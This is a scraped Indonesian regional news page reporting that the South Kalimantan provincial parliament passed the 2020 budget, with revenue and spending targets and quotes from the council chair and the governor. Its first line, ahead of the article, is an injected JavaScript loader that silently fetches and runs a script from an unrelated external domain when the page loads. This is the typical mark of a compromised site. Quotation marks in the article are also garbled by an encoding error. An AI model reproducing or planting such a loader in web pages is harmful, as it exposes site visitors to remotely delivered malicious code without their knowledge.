(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Rapat paripurna DPRD Provinsi Kalsel, Senin (11/11) siang, secara resmi mengesahkan Raperda APBD Provinsi Kalsel tahun anggaran 2020.
Raperda langsung ditandatangani Ketua DPRD Provinsi Kalsel H Supian HK bersama Gubernur Kalsel H Sahbirin Noor beserta Wakil Ketua DPRD Provinsi Kalsel Hj Mariana dan Hj. Karmila.
Sesuai dengan RAPBD Kalsel tahun anggaran 2020, disepakati target pendapatan daerah sebesar Rp6,9 triliun, target pendapatan ini mengalami kenaikan sebesar 6,65 persen dibandingkan tahun sebelumnya yang hanya Rp6,5 triliun. Sedangkan dari komponen belanja, RAPBD Kalsel 2020 ditargetkan sebesar Rp7,3 triliun.
“Harapan kami, untuk RAPBD yang sudah diketuk bisa cepat dan tanggap untuk dialokasikan pembangunannya,†kata Ketua DPRD Provinsi Kalsel H Supian HK, Senin (11/11) siang.
Supian mengakui, dari RAPBD 2020 mengalami kenaikan, karena belanja juga meningkat. “Perlu diketahui, karena kita mengakui ada peningkatan. Belanjanya sangat tinggi,†kata Ketua Harian DPD Partai Golkar Kalsel ini.
Supian mencontohkan sejumlah SKPD yang “menyedot†anggaran cukup tinggi yaitu jenjang pendidikan SMA yang sekarang di bawah Dinas Pendidikan Provinsi Kalsel. Kemudian, Dinas Kehutanan, Dinas Pertambangan dan Dinas Lingkungan Hidup.
“Itu belanja terkuras untuk membayar gaji. Jadi, jangan dilihat dulu kenaikannya, tapi lihat dulu belanjanya,†kata Supian.
“Tapi, untuk APBD 2020 kami tingkatkan nantinya anggaran untuk tahun 2021, bagaimana SKPD terkait bisa meningkatkan pendapatan. Khususnya di Samsat, karena setiap tahun naik, dan ada kebijakan gubernur untuk bayar pajak,†katanya.
Dengan peningkatan belanja, diharapkan kinerja SKPD di lingkungan Pemprov Kalsel bisa ditingkatkan. Karena ini tidak lepas dari sumber daya manusianya. “Yang penting jangan sampai ada pelanggaran, seperti adanya tindak pidana korupsi. Semua mengawasi,†katanya.
Sementara itu, Gubernur Kalsel H. Sahbirin Noor mengatakan, Pemprov Kalsel berkomitmen untuk mengoptimalkan semua potensi sumber pendanaan. “Diharapkan nantinya APBD mampu mendorong pertumbuhan ekonomi, mendukung upaya pengentasan kemiskinan, penguatan ketersediaan infrastruktur dasar, pengurangan ketimpangan antar wilayah dan mewujudkan tata kelola yang baik dan bersih,†kata Paman Birin -sapaan akrabnya-. (fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.